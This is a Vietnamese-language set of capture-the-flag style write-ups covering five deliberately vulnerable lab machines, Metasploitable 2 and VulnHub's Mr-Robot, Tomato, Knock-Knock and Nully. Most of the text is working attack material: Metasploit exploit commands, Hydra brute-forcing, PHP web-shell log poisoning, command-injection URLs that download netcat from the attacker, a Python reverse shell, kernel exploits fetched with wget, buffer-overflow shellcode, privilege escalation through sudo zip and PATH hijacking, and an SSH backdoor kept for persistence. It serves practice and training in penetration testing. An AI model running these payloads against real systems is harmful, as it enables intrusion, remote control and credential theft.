# Labs Attack & Defense
## Lab 1: Metasploitable 2
Sử dụng Parrot với tư cách là máy attacker và server để ta tấn công là Metasploitable 2 - Metasploitable là một máy ảo Linux có mục đích tạo ra môi trường lỗ hổng để ta có thể thực hành tấn công (pentesting).

Sau khi đăng nhập với
```
username: msfadmin
password: msfadmin
```
Kiểm tra thấy địa chỉ máy victim là 192.168.109.130

Kiểm tra kết nối bằng cách ping

Sử dụng nmap để quét thấy rất nhiều service đang open trên nhiều port khác nhau.

```shell!
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-29 02:23 EST
Nmap scan report for 192.168.109.130
Host is up (0.0079s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.32 seconds
```
Chúng ta sẽ đi tấn công vào từng port bằng cách sử dụng Metasploit được tích hợp sẵn với os Parrot hoặc Kali :yum:

Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service.
### Port 21: ftp

Ta thấy rằng version VSFTPD v2.3.4 đã từng bị exploit.

Tool thông báo rằng ta chưa config kiểm tra thấy rằng RHOST-ip victim đang trống do vậy ta thêm bằng cách `set RHOSTS 192.168.109.130`

Ta exploit và nó tự trả về shell đã leo thang lên quyền root cho mình :nerd_face:

### Port 22: ssh
Như mọi bài ssh ta phải kiếm được tài khoản mật khẩu hoặc có thể kiếm key RSA để ssh vào.
Có nhiều cách như là tạo wordslist user và pass rồi dùng hydra brute-force hoặc thử đăng nhập với `msfadmin:msfadmin`. Nhưng ở đây mình dùng Poc của CVE 2008-3280 brute-force key: https://www.exploit-db.com/exploits/5720
```python2 exploit.py /home/lilthawg29/Desktop/rsa/2048 192.168.109.130 root```

Và thế là ta có root

### Port 23: telnet
Telnet với tài khoản, mật khẩu `msfadmin:msfadmin` và tài khoản msfadmin có quyền sudo nên leo lên root dễ dàng

### Port 25: smtp
SMTP(Simple Mail Transport Protocol) giữ cơ sở dữ liệu cục bộ của người dùng mà nó phải gửi và nhận email.
Ở port này thì không leo lên root trực tiếp được do vậy nhiệm vụ ở port này là leak hết tên user ra.
MSF có module auxiliart/scanner/smtp/smtp_enum cho chúng ta làm việc đó

nhưng wordslist của MSF là không đủ, do vậy ta vẫn phải thêm vài tên vào file user.txt rồi dùng tool smtp-user-enum để check

### Port 80: http

Ta thấy PHP version 5.2.4, google về `php 5.2.4 exploit` ta tìm được `PHP CGI Argument Injection` https://www.rapid7.com/db/modules/exploit/multi/http/php_cgi_arg_injection/ PHP – CGI là giao thức truyền tin giữa web Server và chương trình CGI. Về cơ bản, đây là cách để chạy script phía máy chủ (PHP, Perl, Python) khi có HTTP Request.

Hoặc có thể dùng `TWiki History TWikiUsers rev Parameter Command Execution`


### Port 139 & 445: netbios-ssn
Samba đang chạy trên cả cổng 139 và 445, chúng tôi sẽ khai thác nó bằng Metasploit. Cổng mặc định cho khai thác này được đặt thành cổng 139 nhưng cũng có thể thay đổi thành cổng 445. SMB là giao thức chia sẻ tệp hoặc dữ liệu bằng SMB hoặc cổng 139 và 445, bạn có thể chia sẻ tệp hoặc dữ liệu của mình trong máy tính cục bộ với máy chủ và khi bạn đăng nhập bằng công cụ smb client thì bạn cũng có thể truy cập các tệp hoặc dữ liệu của người dùng khác.

### Port 513: OpenBSD or Solaris rlogind
Về cơ bản, rlogin sẽ cho phép chúng ta truy cập từ xa vào một hệ thống và thực thi các lệnh trên đó. Theo https://linoxide.com/how-tos/howto-enable-rshrlogin-on-linux-server/,
"Rlogin sử dụng một tệp ẩn có tên .rhosts có trên máy chủ. Tệp này cho phép máy đăng nhập mà không cần mật khẩu."

### Port 1099: java-rmi
```
msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > set rhost 192.168.109.130
msf exploit(java_rmi_server) > exploit
msf exploit(java_rmi_server) > shell
```

### Port 1524: bindshell
simple root shell :D

### Port 2049: nfs
NFS (Network File Sharing protocol) cho phép người dùng chia sẻ thư mục và tệp qua mạng trên các hệ điều hành khác nhau. Ngoài ra, nó sẽ cho phép các hệ thống remote có thể truy cập local khi thư mục shared được mount. Khả năng truy cập của các NFS shares dựa trên bất kỳ ai được chia sẻ.
### Port 2121: ftp

### Port 3306: mysql
Tài khoản 'root' không có mật khẩu! Vì vậy ta có thể kết nối đến database.

### Port 5432: postgresql

Ta có thể login với user và pass default.

Ta có thể có shell bằng cách sử dụng metasploit: `use exploit/linux/postgres/postgres_payload`

### Port 5900: vnc
Virtual Network Computing (VNC) chạy trên cổng 5900, dịch vụ này có thể bị khai thác bằng cách sử dụng một mô-đun trong Metasploit để tìm thông tin xác thực đăng nhập.
Mô-đun này sẽ kiểm tra máy chủ VNC trên nhiều loại máy và báo cáo các lần đăng nhập thành công. Hiện tại, nó hỗ trợ giao thức RFB phiên bản 3.3, 3.7, 3.8 và 4.001 bằng cách sử dụng challenge-response authentication VNC.
`use auxiliary/scanner/vnc/vnc_login`

Tìm được pass là: `password`
install nvcviewer: `sudo apt install tigervnc-viewer`


### Port 6667: irc
Cổng 6667 có dịch vụ UnrealIRCD đang chạy, ta sẽ khai thác bằng cách sử dụng backdoor có sẵn trong Metasploit.

### Port 8180: Apache Tomcat
Metasploit có một cách khai thác dành cho Tomcat mà chúng có thể sử dụng để lấy phiên Meterpreter. Việc khai thác sử dụng thông tin đăng nhập mặc định `tomcat:tomcat` được sử dụng bởi Tomcat để có quyền truy cập.

## Lab 2: [MR-ROBOT: 1](https://www.vulnhub.com/entry/mr-robot-1,151/)
Tìm được địa chỉ máy victim: `192.168.143.129`

Dò quét với nmap


sau khi thử một hồi không thấy gì đặc biệt, vì tên lab là mr-robot nên ta kiểm tra file robots.txt thì thấy 2 file `fsocity.dic` - tập hợp rất nhiều từ để dùng cho dictionary attack và `key-1-of-3.txt` gồm 1 key, nhìn tên file chắc là đây là key thứ 1.

Tải file `fsocity.dic` về: `curl -o fsocity.dic http://192.168.143.129/fsocity.dic`
Có thể thấy file chứa 858160 từ, rất nhiều tuy nhiên cũng có rất nhiều từ bị lặp lại do vậy ta lưu 11451 từ unique vào để tý dùng: `sort fsocity.dic | uniq > fsocity.dic.uniq`

Sử dụng nikto quét, nhận thấy một trang login


Đến đây ta đã biết phải sử dụng Hydra với wordlists là `fsocity_unq.dic`
```
Post Web Form
Chúng ta cũng có thể sử dụng Hydra để bruteforce các web forms, bạn sẽ phải đảm bảo rằng bạn biết loại yêu cầu của nó – phương thức GET hoặc POST thường được sử dụng. Bạn có thể sử dụng tab Network trong trình duyệt (bấm F12 – developer tools) để xem các loại phương thức của request.
Dưới đây là ví dụ về lệnh Hydra để brute force một form login dùng phương thức POST.
hydra -l <username> -P <password list> <ip> http-post-form "/<login url>:username=^USER^&password=^PASS^:F=incorrect" -V
Giải thích các tùy chọn:
-l: Tên người dùng duy nhất
-P: cho biết sử dụng danh sách mật khẩu sau
http-post-form: cho biết loại phương thức (post)
/login url: URL trang đăng nhập
:username: trường biểu mẫu nơi tên người dùng được nhập
^USER^: yêu cầu Hydra sử dụng tên người dùng
password: trường biểu mẫu nơi mật khẩu được nhập
^PASS^: yêu cầu Hydra sử dụng danh sách mật khẩu đã cung cấp trước đó
Login: cho biết để rút lại thông báo đăng nhập không thành công
Login failed: là thông báo đăng nhập thất bại mà biểu mẫu trả về
F=incorrect: nếu từ này xuất hiện trên trang, thì nó không chính xác
-V: đầu ra cho mọi lần thử
```

Giờ ta phải đi tìm username trước, nếu không tồn tại username thì sẽ hiện `Invalid username`

`hydra -vV -L fsocity.dic.uniq -p wedontcare 192.168.143.129 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'`
Quét xong nhận được thông báo tìm được 3 user phù hợp nhưng không thấy hiện ở đâu nên mình lại phải xuất ra file :cry:
`hydra -vV -L fsocity.dic.uniq -p wedontcare 192.168.143.129 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username' -o success`


Làm tương tự trên đối với password: `hydra -vV -l elliot -P fsocity.dic.uniq 192.168.143.129 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect' -o success` tìm được password: `ER28-0652`

Qua tìm hiểu ta có thể upload reverse shell thông qua việc chỉnh sửa file


Tìm được key 2 nhưng chỉ robot mới có quyền đọc

crack md5 ta được password: `abcdefghijklmnopqrstuvwxyz`

nhưng chuyển user khác thì không được :hushed:

do vậy ta nâng cấp shell bằng cách dùng python `python -c 'import pty; pty.spawn("/bin/bash")'`

Key thứ 3 ta cần phải leo quyền
```
Đây là câu lệnh quan trọng nhất của phần Privilege Escalation này, vậy nên cần hiểu kỹ.
Command: find / -perm -u=s -type f 2>/dev/null
Trong đó:
/: Tìm kiếm bắt đầu từ thư mục gốc (root) của hệ thống, việc này giúp quét toàn bộ files trong tất cả thư mục. Điều này giúp tăng phạm vi tìm kiếm.
-perm: Tìm kiếm theo các quyền được chỉ định sau đây.
-u=s: Tìm kiếm các file được sở hữu bởi người dùng root. Sử dụng -user [tên user] để tìm kiếm các files của user đó.
-type: chỉ định loại file tìm kiếm.
f: Chỉ định loại file cần tìm là các regular file, mà không là các thư mục hoặc các file đặc biệt. Hầu hết các file được sử dụng trực tiếp bởi người dùng là các regular file. Ví dụ: file thực thi, file văn bản, file hình ảnh... Điều này giúp tăng hiệu quả tìm kiếm.
2>: có nghĩa là redirect (kí hiệu là >) file channel số 2 tới nơi được chỉ định, file channel này ánh xạ tới stderr (standard error file channel), là nơi các chương trình thường ghi lỗi vào.
/dev/null: Đây là nơi được redirect đến, nó là một pseudo-device (thiết bị giả) hay một special character device mà nó cho phép write (ghi) bất cứ thứ gì lên nó, nhưng khi yêu cầu đọc nó, nó không return bất cứ thứ gì.
```

```
SUID ( hay Set user ID ) , thường được sử dụng trên các file thực thi ( executable files ). Quyền này cho phép file được thực thi với các đặc quyền (privileges) của chủ sở hữu file đó.
Ví dụ: nếu một file được sở hữu bởi user root và được set SUID bit, thì bất kể ai thực thi file, nó sẽ luôn chạy với các đặc quyền của user root. Và khi xem permissions của file, ở phần User, nhãn x sẽ được chuyển sang nhãn s.
```
Ta đã thấy bên trên, nmap sở hữu bởi root nhưng bất kể ai cũng có thể thực thi

Lỡ ctrl C mất :cry:

```
nmap> !sh
# cd /root
# ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
```
## Lab 3: [TOMATO: 1](https://www.vulnhub.com/entry/tomato-1,557/)

Tìm được địa chỉ máy victim: `192.168.79.152`
Dò quét với nmap

Truy cập vào cổng 8888 ta nhận được form đăng nhập

Sử dụng wordlists default không tìm được

Thay đổi sang wordlists 'common.txt' của drib ta tìm được dir `antibot_image`

Sau khi tải tất cả các file về `wget -r http://192.168.79.152/antibot_image/antibots/` thì thấy ở info.php có hint.

Ta thấy rằng xuất hiện lỗi LFI ở đây.

Ta đọc log ssh để tìm thông tin để tiếp tục attack

thử đăng nhập và thấy username được ghi lại

Do vậy ta thử inject code php vào `sshpass -p "kocopass" ssh "<?php echo system($_REQUEST[‘cmd’]); ?>"@192.168.79.152 -p 2211`
sau khi inject thì thấy không trả về log nữa

:cry: xong rồi mình phải cài lại lab
Chỉnh lại payload: `ssh '<?php system($_GET["cmd"]);?>'@192.168.143.130 -p 2211`

Giờ thì mới được may quá :hear_no_evil:

Ta tiến hành reverse shell bằng cách tải file từ máy mình lên server
Sử dụng SimpleHTTPServer để build một web-server đơn giản trên máy attacker: `python3 -m http.server 8081`

`cmd=wget http://192.168.143.128:8081/shell.php -O /tmp/shell.php`
sau khi download thì access vào để active shell


Phiên bản Kernel tồn tại lỗ hổng cho phép leo thang đặc quyền.
Nâng cấp shell với: `python3 -c 'import pty; pty.spawn("/bin/bash")'`
Tải file exploit về nhưng không có quyền write

Nhưng ở foler tmp thì thoải mái :heart_eyes:

Đậu xanh sao lại không có gcc nhỉ ?

Sau khi tra cứu thì vẫn còn gcc-5 `gcc-5 exploit.c -o cowroot -pthread`


NOTE: Sau đó mình mới nhận ra trường hợp máy victim không có gcc thì compile luôn máy mình rồi từ máy nạn nhân wget file về là được mà :crying_cat_face: quá gà hjc
```
wget https://www.exploit-db.com/raw/45010 -O exploit.c
gcc exploit.c -o exploit
chmod +x exploit
```


## Lab 4: [KNOCK-KNOCK: 1.1](https://www.vulnhub.com/entry/knock-knock-11,105/)

Quét cổng với nmap nhưng chỉ nhận được mỗi cổng 1337 đang open

netcat vào thấy trả về các arr chưa các số không biết có ý nghĩa gì ?

Nghĩ rằng chỉ đơn giản là netcat đến các cổng thôi mình thử viết tool nhưng không có port nào được mở thêm


Sau khi tham khảo mới biết phải gõ cửa đúng theo thứ tự nào đó thì mới mở được port :clown_face:
```python=
from pwn import *
from itertools import permutations
import time
def KnockPorts(host,ports):
perms = permutations(ports)
for perm in perms:
print(perm)
for port in perm:
try:
print("[*] Knocking on port: ", port)
r = remote(host, port)
except:
pass
time.sleep(1)
print('[-] Knock Complete')
print('[+] All Knocking Complete!')
host = '192.168.143.131'
port = 1337
r = remote(host, port)
ports = eval(r.recvline())
KnockPorts(host,ports)
```
[Port knocking](https://www.digitalocean.com/community/tutorials/how-to-use-port-knocking-to-hide-your-ssh-daemon-from-attackers-on-ubuntu#status-deprecated) là một phương pháp giấu các dịch vụ mà bạn đang chạy trên máy của mình. Nó cho phép tường lửa của bạn bảo vệ các dịch vụ của bạn cho đến khi bạn yêu cầu mở một cổng thông qua một chuỗi lưu lượng mạng cụ thể.

Truy cập vào web và tải ảnh về, cat ảnh đó và đọc được thông tin đăng nhập ssh



Tuy nhiên thông tin đăng nhập đã bị encode bằng rot13, sau đó đảo ngược chuỗi lại

Do vậy thông tin đúng phải là: Jason/jB9jP2knf


Ta thấy shell bị hạn chế

Để escape the restricted shell: `python -c "import pty; pty.spawn('/bin/bash')"`

Ta thấy jason có 1 file có quyền excute

Đây là 1 dạng file encryption nhận file đầu vào và trả về kết quả ở file đầu ra

Do viết đến đây bị thiếu kiến thức pwn nên mình sẽ bổ sung sau ...
payload sinh file buffer overflow
```python=
#!/bin/python
import sys
import struct
#a1 = file contents
#a2 = file length
#f = open('input_buff.tfc', 'r')
#a1 = f.read()
#a2 = len(a1)
ret = '\x93\x8e\x04\x08' #08048d93
shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
a1 = 'A'*4124 + ret + '\x90' * 10 + shellcode
l = len(a1) % 4
for m in range(l):
a1 += 'Z'
a2 = len(a1)
key = 0xEA1AB19F
r=''
# now do the first for loop
for i in range(a2/4):
x = struct.unpack_from('<L', a1, (i * 4))[0]
#print x ^ key
r += struct.pack('<L', (x ^ key))
for j in range(8):
if (key & 1):
key = (key >> 1) ^ 0x6DAA1Cf4
else:
key = key >> 1
open('myfile.tfc', 'wb').write( r )
```

## Lab 5: [NULLY CYBERSECURITY: 1](https://www.vulnhub.com/entry/nully-cybersecurity-1,549/)
### Flag 1
Lab này đoạn đầu phải config lại vì tác giả đặt tên card mạng sai
Restart -> Spam F2 để mở bảng -> Advance Options

nhấn phím e để cấu hình

Sửa và cấu hình đoạn "ro recovery nomodeset" thành "rw init=/bin/bash" như hình sau

Ấn tổ hợp phím Ctrl – X (hoặc F10) để boot lại OS. Chọn "recovery mode"

Tại màn hình boot, sử dụng lệnh "passwd" để reset mật khẩu hiện tại.

Sau đó sử dụng lệnh exec /sbin/init để khởi động lại hệ thống.

Đăng nhập vào máy ảo Nully với toàn khoản root và mật khẩu vừa đặt lại ở bước trên.

Sử dụng lệnh "ip a" để kiểm tra giao diện mạng. Có thể thấy card ens33 chưa nhận thông tin cấu hình. Đó chính là lý do tại sao chúng ta không dò quét được địa chỉ IP của máy Nully.

Sử dụng lệnh "vim /etc/netplan/00-installer-config.yaml" để cấu hình card mạng

Trong trường hợp này tên card mạng đang bị sai nên chúng ta sửa “enp0s3” thành “ens33” (cho trùng với tên card mạng ở phía trên)


Sử dụng lệnh "reboot" để khởi động lại hệ thống. Sau đó dùng lệnh "ip a" để kiểm tra và thấy rằng giao diện ens33 đã nhận địa chỉ IP


Quét cổng

Kiểm tra web

Theo rule ta không được attack port 80, 8000, 9000. Vậy ta phải attack vào 2 port còn lại là 110 và 2222.
Bắt đầu với port 110: `To start, check your email on port 110 with authorization data pentester:qKnGByeaeQJWTjj2efHxst7Hu0xHADGO`

Lọc các từ khoá liên quan đến bob: `grep bobby /usr/share/wordlists/rockyou.txt > wordlist.txt`
`hydra -l bob -P wordlist.txt pop3://192.168.143.129`

Tìm được password: bobby1985, ssh vào

Kiểm tra sudo -l thấy rằng ta có khả năng chạy check.sh với tư cách là người dùng my2user.

Chạy thử script

Ta leo sang my2user xem có gì hay ho không bằng cách thêm `/bin/bash` vào script

`sudo -u my2user /bin/bash /opt/scripts/check.sh`

Kiểm tra với sudo -l ta thấy rằng nó có thể chạy /usr/bin/zip với quyền root.

Tham khảo https://www.hackingarticles.in/linux-for-pentester-zip-privilege-escalation/ ta thấy có thể dùng payload `sudo zip 1.zip check.sh -T --unzip-command="sh -c /bin/bash"` để leo lên root

Vậy là tìm được flag 1, tiếp tục đến flag 2 root web server
Để phòng ngừa nên tạo backdoor bằng ssh để về sau ssh một phát lên root luôn chứ không phải leo qua my2user.



copy file id_rsa sang máy attacker(máy mình)

### Flag 2
Pivoting đề cập đến một phương pháp được sử dụng bởi những người kiểm tra thâm nhập sử dụng hệ thống bị xâm nhập để tấn công các hệ thống khác trên cùng một mạng để tránh các hạn chế như cấu hình tường lửa, có thể cấm truy cập trực tiếp vào tất cả các máy. Ví dụ: nếu kẻ tấn công xâm phạm máy chủ web trên mạng công ty, thì kẻ tấn công có thể sử dụng máy chủ web bị xâm nhập để tấn công các hệ thống khác trên mạng hoặc trong nội bộ công ty. Những kiểu tấn công này thường được gọi là tấn công nhiều lớp. Pivoting còn được gọi là island hopping.

Sau khi cài netdiscover chạy lệnh `netdiscover -i eth0 -r 172.17.0.0/16` để tìm ra các dịch vụ khác trong mạng nội bộ, `/16` là vì subnetmask là 255.255.0.0

Chúng ta có thể bỏ qua 172.17.0.1 vì nó là Gateway

Vì 172.17.0.2 có port 80, nên ta sẽ attack vào đó để lên root web server.

Ta forward về local để dễ attack trên máy mình luôn `ssh -L 8000:172.17.0.2:80 root@192.168.143.129 -p 2222 -i id_rsa`


Dùng dirsearch tìm được


Dùng param host để xem có gì lạ không


Ở đây dính lỗi command injection, do vậy ta đi tìm cách RCE.

Để làm được điều đó ta cần sử dụng netcat và cả 2 máy đều chưa có netcat. Với máy MailServer thì đơn giản chỉ cần tải về thôi

Nhưng với máy web server thì phải lòng vòng hơn, ta phải public file binary của nc lên để máy 172.17.0.2 tải về

```
http://localhost:8000/ping/ping.php?host=; wget http://172.17.0.5:9000/nc
http://localhost:8000/ping/ping.php?host=; chmod 777 nc
http://localhost:8000/ping/ping.php?host=; ls -la nc; pwd
```


Thử với payload `./nc 172.17.0.5 9000 -e /bin/bash` mãi mà không được mình mới tìm hiểu được rằng options -e chỉ dành cho phiên bản cũ của nc thôi https://unix.stackexchange.com/questions/583473/invalid-option-e-in-netcat/583479#583479
Thử với các payload trên https://www.revshells.com/ gen pty toàn bị lỗi hết pty :cry:

Sau khi lục tung gg cuối cùng mình cũng tìm được payload phù hợp `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.5",9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`

Có 2 user trong /etc/passwd ta cần chú ý đến

Tìm kiếm các file thuộc sở hữu của 2 user này
```
find / -type f -user 1001 2>/dev/null
find / -type f -user 1000 2>/dev/null
```

Đọc file secret của Oliver ta nhận được thông tin đăng nhập
```
my password - 4hppfvhb9pW4E4OrbMLwPETRgVo2KyyDTqGF
```


Vừa ta đã biết oscar là chủ sở hữu của python3 do vậy payload `python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'` ta sẽ leo sang oscar.

```
H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o
```

Chương trình current-date trả về thời gian hiện tại

do đã check strings nên mình đoán rằng nó chỉ call đến chương trình date và lấy kết quả in ra thôi

Kiểm tra $PATH

Bây giờ nếu mình gán đường dẫn `/home/oscar` vào `$PATH` `export PATH=/home/oscar:$PATH` thì $PATH mới sẽ thành như z

vì nó call đến `date` theo thứ tự trong $PATH nên ta đơn giản chỉ cần tạo prog `date` chứa `/bin/bash` là khi chạy `current-date` nó sẽ excute `/bin/bash` với quyền root và ta có thể leo lên root rồi.
Ting ting

Suy nghĩ thêm cho bạn đọc: Nếu để `/home/oscar` ở cuối thì có lên root được không ?

### Flag 3

Tải 2 file về xem sao

File `.backup.zip` bị khoá

Tải file `backup.zip` về local
```
#Remote Server
nc -w 3 192.168.143.130 8001 < backup.zip
#Local Machine
nc -lvnp 8001 > backup.zip
```

```
zip2john backup.zip > hash.txt
john hash.txt
```
Tìm được pass là `1234567890`


`donald:HBRLoCZ0b9NEgh8vsECS`
Tải linpeas về để dễ dàng tìm cách leo thang hơn
```
# Use a linpeas binary
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
```

Tìm được `Unknown SUID binary!`

GG ta tìm được script exploit https://www.exploit-db.com/raw/41154


END!!!